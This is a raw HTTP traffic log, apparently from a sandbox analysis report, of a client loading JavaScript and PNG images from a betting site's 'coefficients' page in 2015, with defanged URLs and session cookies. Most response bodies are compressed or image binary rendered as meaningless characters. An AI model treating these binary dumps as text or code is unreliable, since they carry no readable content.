Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:53 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:31:50 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:53 GMT

Content-Encoding: gzip

Cserver: 0

X-Cache: MISS

HServer: 1

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1fcf20f460682360-FRA
1219.............Z.s.8.......dr.Sr...PA...L2..........I.!.e..........,
.rUW..I..h4..k...F..~.>.....[.m...0O.......v.Ich...4..C?........W..
...>.u...."..Y$n..q ....mx.q;..:...........W.......H.QX....}S.3..M.
.......u..0MtNm...........S..A...m.@Z.>.r.#...LC`0!sbLt.,.1.......L
....cvG..iF.....p..i....n..................`......>.uA.11.cy).F.9F.
.d.-.........'..Pi..&...|f_r....{\5..3:Y`..].4....M....ei...g.e.}. .M'
....g.).?.L.....1.f.....T0..F&.*...bL\.,.(.:[email protected].^...0......
@4..yv.'.....m.J7.S..l-;.rz{.f .cF".e0./..;.../... 6....j^.".6.....^=.
.>.M'.\....E...\r..5..........=4.4.A_ou..2.W."!../^.....jY......U.o
........Z....(Z...a.\.."#=m..^7.u.........A...l....?.A.k...L...k)t.l.E
;....2"..........F...Gk.6.F..H.NJ...q~..E....&,B;.q.. t]....~.y...S...
..8I....^...L...#.......%q..0r..A=f.`>..._...A=....t.....k<V.{..
\\.C.}M.u...f..gj....z.......E.nD#.aM....p.R....S....s.G..!r...kp.....
.qA ..A.n(O.j-...6..%n.Z.... ..jv.f.`[email protected]..`
xj?4'..|`][4...4aDe.BSv......5n..2.zm.4g.....l.gr.JVT.M.....ep..#.A..L
.!.B..z..v|...X;..o...Sq....w.T[.........~cw}.3x......m..............s
........l6.B...sT. .y.?o......."$}..l..'.. x".hH.......{..v..... `..a.
.V........\z23.t..{|<7.C..3t.X..uV>...a|9p..........|..z.\....Iq
DszD^.QN....xA..x.y...YN..biE.A..cd.0.F....Xp..v}.; ?O!/0Bh....{Qz.H.&
gt;....N..m....#.W.../)...K.t....,v..K.E....x8_h.....w....~;.sc....pC^
..V|h.q..............r2W1....:.g.#!I.....Gd...6.jm.......H....@.......
 iWA...Z....l..|[..[.[.....`.`......^. .j.irF..L..B9.1.h.....A....
<<< skipped >>>

GET /coefficients/js/vendor/jquery.js HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:53 GMT

Content-Type: application/javascript

Content-Length: 30039

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:31:49 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:53 GMT

Content-Encoding: gzip

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f5b0912360-FRA
............kw.F.6.}......f...d..0.Ob..s.3.3IL1Z...D.4IYvD.o?.Tu7. dg.
}....X.............=<...M.~..].6~......."Y.....^.......Uxzz..E{i.8.
.x.l..o.|s.....y...8.7..j.~..\._............?3]xZ.,.x[.K..{G.2;*..|}..
...Hn...[.9...&....zMe.~|..h^..r..v.\OO..x.$..!.......G.........^..Ggr
.L..?VIp...U.n.(.._...hQf7..........\o7..m...2.Y...0..;gAX5.....S....u
y{..o..^.....YZ.on.5My|t[,3*s[lgtg....:....G.J.....a.&.2.....|?..p; 6.
>rsw...o..Q.y.|9...by....=.Uit.C.TP7...i~.t....._.)*3...>=.{.2._
......s.z.z......O..y..E...yN.....9....{....W).&.|j........t....3.,...
.N.K....T.t...`@.%......r........w9u......m....6)..|.'*.Q...}...B..H.Q
.<:.>T....%...q...qp|... 1...L....2....n?....t...E...e..v..;....
(.G..}...........E.6..-....f./i....?>.M.ge............S!S.....{....
.z...'...u.....>..f,..4"u.......fV..{.9...Lx....W.Y.........!. ...-
......d..>..Y....O.nB]_..4.ob..<.{Ao[.P.........Y...~..|..Y.....
.......]....xoM.....C.V....*..]On.i........*^o..^.xN.a.Oy...n..{.|....
...4....H.y...I.`.^WO..../c........}......H..O....*1....@....<.....
}.}...I..f[o..g.<.o.^0....n.z.*....6)..^0:..vq/^..e...>(o.&.ht.K
....... t6W.u0..|,.o..j{xI_w.S. E.SQY...c....7.....n .....M.....*.....
Le.A...<...n...@.\y.y......sOu...y.~.|.8{..4.M.......L...;[email protected].
,..A......IDO.4.7.z....R.&...&..8c..w.....hJ./.y.........T..p)......./
..^.e.D.P...`S..5.6n..F...2.0.,P.........3.Q;....83.z.b=&.^.pS".......
l.....EW.*...t..."_Os.......y..9...q..h.....t.^#...C:.gyz....U.;_Pg.4}
1.*...'....|..x~...rn...$......O...Nb.._...[5P...'R..rA]..........
<<< skipped >>>

GET /coefficients/img/colorful/img-14.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:53 GMT

Content-Type: image/png

Content-Length: 4327

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:03 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:53 GMT

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f6a0b42360-FRA
.PNG........IHDR...;.................tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C3A939F3587711E4B24B9B
1D22040B34" xmpMM:DocumentID="xmp.did:C3A939F4587711E4B24B9B1D22040B34
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C3A939F1587711E4
B24B9B1D22040B34" stRef:documentID="xmp.did:C3A939F2587711E4B24B9B1D22
040B34"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>.#J....YIDATx.|X.t...}U......[j-....b....
..c.....<v.'..`.......r..8..a.f.b....6..&c"@..BB.B.H.....{w....M..L
...U...o...WP....MQ .<".Xl...=@Q.*..X.5}p.._$".P......C.<K.....C
O.#."#....j....6u.a.0....".i.7...M....e.....g..........X*..%.R..G`IMA.
......q{.....m........Q.........K..<)B....}..d.8...N.h....3..d^(...
..........V.A..j....)... ....d.H4....<........r.....{....p_.1....~i
...[&..Q|......N..!.....A(...![..g..UjT..c..>y.}...M.>_.......K=
.....,...[...w..~....lN...$...D.F.W.....;}..n.R!...U....2.R.....[3....
_sl;^......A\..J.....(..a.....9TUm=.kI..$"P)$..K0.r..rVx....C..3.V
<<< skipped >>>

GET /coefficients/img/colorful/img-11.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:53 GMT

Content-Type: image/png

Content-Length: 2744

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:02 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:53 GMT

Cserver: 0

X-Cache: MISS

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f700c62360-FRA
.PNG........IHDR...<...........=.....tEXtSoftware.Adobe ImageReadyq
.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0M
pCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmp
tk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        ">
; <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"&
gt; <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xa
p/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="htt
p://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Ph
otoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:9B6469DA587711E4B24
B9B1D22040B34" xmpMM:DocumentID="xmp.did:9B6469DB587711E4B24B9B1D22040
B34"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9B6469D858771
1E4B24B9B1D22040B34" stRef:documentID="xmp.did:9B6469D9587711E4B24B9B1
D22040B34"/> </rdf:Description> </rdf:RDF> </x:xmpme
ta> <?xpacket end="r"?>.VW....*IDATx.LUkl[W...{}..3v..I..}$}$
.......A..(_....2&......4...M.....&.iC . ..tbt*.. "..:BG..M.,..u..q|}.
....uV......9..~I.l.ga..E.?......B.w....|8J<.O.]......  ...........
..$^[email protected]..|....:.../...205...8.CV...XWW I.8...!..B.> |.o.....H'.(
G..\.@]KCvS.{/..e......J9...R....7...3.......qv.1.....=0.}..&......j..
>.Z.Z..*.Q]..5........c.K..IXw..9.......P.. ..h..(...p9u..Z.......@
[email protected].....;..t.v.v..s...6*.]0G..uc?4.A......@...#...7p.|2
..m.>.....z..-/B.0....(.....A.G(x .$.............$......#......d.4.
....u.c....w.p..|w...;OS.C..l....!..u..$..p......s.'..i.....BN....
<<< skipped >>>

GET /coefficients/img/colorful/img-9.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:53 GMT

Content-Type: image/png

Content-Length: 2454

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:05 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:53 GMT

Cserver: 0

X-Cache: MISS

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f770d72360-FRA
.PNG........IHDR...4.................tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:7CB56483587711E4B24B9B
1D22040B34" xmpMM:DocumentID="xmp.did:7CB56484587711E4B24B9B1D22040B34
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7CB56481587711E4
B24B9B1D22040B34" stRef:documentID="xmp.did:7CB56482587711E4B24B9B1D22
040B34"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>........IDATx..WklTU.>g......b...Z.*..
0...Qc............h..Q.h.1b....!%...cH......%bl......R".>....9..{..
n...3.q..3g....l1K.3....#?g....%....a^8.UX....39<..-G{..*.,.....^bq
.n....4.(..8M..R......j.'@..N.......9.....CY=e.............;..k.wz!.B.
sl..>..hGG...h...8.{..I=.3.........>!...<.D..Q...8&5...>..
e.E...4...M._..~n..............r.d.7..........]..I.k0...[..S'...f.NH..
..bP}6..G.X....t.A=.5s..A....<..xZ.Z......A........[.W..n.Yh.C....@
m..3..............:..c...9.e..A...l..^.S.~..&.N..<.....|.-w....`...
m.!....*d.z.......@. .G.c..8...P.....^.....~N|.~...FH 2.IE.v.....u
<<< skipped >>>

GET /coefficients/img/colorful/img-2.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 2587

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:03 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f870fc2360-FRA
.PNG........IHDR..."..........d.r....tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:406C110B587711E4B24B9B
1D22040B34" xmpMM:DocumentID="xmp.did:406C110C587711E4B24B9B1D22040B34
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C93B05A6587511E4
B24B9B1D22040B34" stRef:documentID="xmp.did:406C110A587711E4B24B9B1D22
040B34"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>.}M.....IDATx.|V.L[.......1..18.. ..G....
FH..JD..t..?.M.LZVM..d......Ii....i.U...)J.L.J.Qh;.Bc..#.C....M....~w.
.s0.. .....?..s........<...0^0.K..q..h...G.........  *p......P.[s2.
J..9K....p../.q1e$.]..,w....g..H.......>..E.... ;....x.--.^l...k.&g
t; Eh....h6..z.oo..k|..A.3.x_.....h{.\....U...8M),..x..cXE:$NP'.!".^F.
 .u.....SJ...;..#L.%..K#..@@..8q.2..<.[t......yM.4^.. 3.:...$#M....
...%..@.....%...a...H4.l.!!...g....):.h.8........&x..{.-**.P....r.P.(J
bENi...N..u.N.ib..UGS..~.).c....$."...K..u.. ....7Z.p....5E..!.....pt.
.;.\1YA.(....j.u ..?m............*$.H\.......0......L...Y.^...m...
<<< skipped >>>

GET /coefficients/img/colorful/img-5.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 2162

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:04 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: MISS

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f8e10d2360-FRA
.PNG........IHDR...'...........f ....tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:67B4BE4E587711E4B24B9B
1D22040B34" xmpMM:DocumentID="xmp.did:67B4BE4F587711E4B24B9B1D22040B34
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:67B4BE4C587711E4
B24B9B1D22040B34" stRef:documentID="xmp.did:67B4BE4D587711E4B24B9B1D22
040B34"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>WP.t....IDATx.tU[h.U........%...&...i.T..
5^......P}..-.o.X...%BP...h}...M.VJ......A-Xi..[7..f...fgg.......&..=s
..o....;.....,`........ .bB... ..hUM..UT..I~E....,Z.}&.....p..........
......^..v...([email protected].|.d.1......e.....a0d.......].f.U...N.nb.A.&
gt;.K...........El.3.D...mK7..4....fZ............../i...3On........{..
.G....V....HO/^.....v....>$.OMN~T.]_.....r..u(...g].(....E..#...cT.
u..9.{`....)qm.^"..[..6"......;hj.FXk..D.....L.....J......<.vm....k
G. ..5Lj...QW....,..6.p.)OU..'Z/p..o..<.bi.&..E ..e....u...ne....'.
.....2..;.)..`.B...l.....{.<[email protected]........{b.
<<< skipped >>>

GET /coefficients/img/colorful/img-7.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 1967

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:05 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f941182360-FRA
.PNG........IHDR...:............ ....tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:67B4BE56587711E4B24B9B
1D22040B34" xmpMM:DocumentID="xmp.did:7CB5647C587711E4B24B9B1D22040B34
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:67B4BE54587711E4
B24B9B1D22040B34" stRef:documentID="xmp.did:67B4BE55587711E4B24B9B1D22
040B34"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>...}...!IDATx...kl.U.....u..2.6.e..ev.,..
 ....%Q..h.Db.....iL...D...(f.w...........TP.q([q.c.wc.V`m..s..6......
...y.....8.t...q]..FPY...3M..[...y..8....p.m$.W.s.`&.:....7q>._....
[email protected].=.u./g...@k..;.o.b..b.....P.0V.. 0:.".r..z.k^s..6F....;..QDC
.12NZ....'...[...(t.)!gH...6K..d......H.!u.].7..i.Qr..".dv....F.Bc..}=
O"X.........;...?..K;n..z.J~.y....6..!)q;)...9.><.2.(.,..]d7...$
.hM.....".h.x.w.KN.>r1..|I....r&O..{......m..f..5rwZz...>e..q...
..F.A.i.Cs..9..Yjm6..........-.^si9...d.7.0a.O.).7....Y...X9}:;...~...
^..?..@?....").o.....|od{........k$...:K...P..3.t.k..H.7.ZeF.qN..R
<<< skipped >>>

GET /coefficients/img/colorful/img-8.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 3061

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:05 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20f9a1232360-FRA
.PNG........IHDR...<............z....tEXtSoftware.Adobe ImageReadyq
.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0M
pCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmp
tk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        ">
; <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"&
gt; <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xa
p/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="htt
p://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Ph
otoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:7CB5647F587711E4B24
B9B1D22040B34" xmpMM:DocumentID="xmp.did:7CB56480587711E4B24B9B1D22040
B34"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7CB5647D58771
1E4B24B9B1D22040B34" stRef:documentID="xmp.did:7CB5647E587711E4B24B9B1
D22040B34"/> </rdf:Description> </rdf:RDF> </x:xmpme
ta> <?xpacket end="r"?>E......gIDATx.tVyl....}.3;;...=}.s86i 
!..$mHZU-"[email protected]/.....*!h.....U...Ti!R.KI........N........[{
...f..........E{...h.r]..[S.e<..v/b..7a".......UP9..........hN#4Cp.
1...j....%."Z......`x.hu..Q.?|p.p..=Ct:P_..,......d.`...... ....}....l
......u...(..........A...;y.[...(....C.|..p.......B...=0..B....^.L.Y .
....n.(}.lQy..X|..e...EQo]....M.%..o.......d....E-.>G...E...|... =J
....5.<.#5.?.8..]........3o.P4....>.-F....... ..!.y2...._..h....
;.-..n..uc.k.u..!..F.>....Ha...#h.X-.....7.....7..(1..p.....i..z.cn
.E........-.Y..sP..].....2.@!]...h.>.x.f.0.>....X.Q.......t.
<<< skipped >>>

GET /coefficients/img/colorful/img-16.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 2227

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:03 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: MISS

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20fa01372360-FRA
.PNG........IHDR...:...........M.....tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:E725907C587711E4B24B9B
1D22040B34" xmpMM:DocumentID="xmp.did:E725907D587711E4B24B9B1D22040B34
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E725907A587711E4
B24B9B1D22040B34" stRef:documentID="xmp.did:E725907B587711E4B24B9B1D22
040B34"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>.......%IDATx..Ukl.U.>3.-..R..A,`.$@.(
..T)..EDP.......[.&.JD..4...V...H..H..h).wE..$...m.5..3..;3w.ov[....vs
s.........p..tV.iR.>4......ZI..gY..S..P.4F..q.n.yNfR..BJ.!.... .6..
..O.=....(B<.w[.hox.oN... ....M.1.ux.a.h.._&.........r....l....F...
x.b.C.4uZwd.....6.n.e........c.\*....A..i#..l.a.,[email protected]:.y..kR..u..1...
0.N.)...3.v1.jMM.^B.gY.9.].z./ijj.&..-.t..#......l...r.......4Y?.:l..u
.H....7.../.ymJ..G..D.R..i...)*O.i..b..4...q....F..`M._...Z.~2...C..&g
t;.c.&Q.hh....Y.. U..{.....3.....y//fI'..}........%K........;%.....~.G
J.[...{..... ......., ..o...*..x. .....p.,.5...vT..a.t...(.G.]....
<<< skipped >>>

GET /coefficients/img/colorful/img-12.png HTTP/1.1

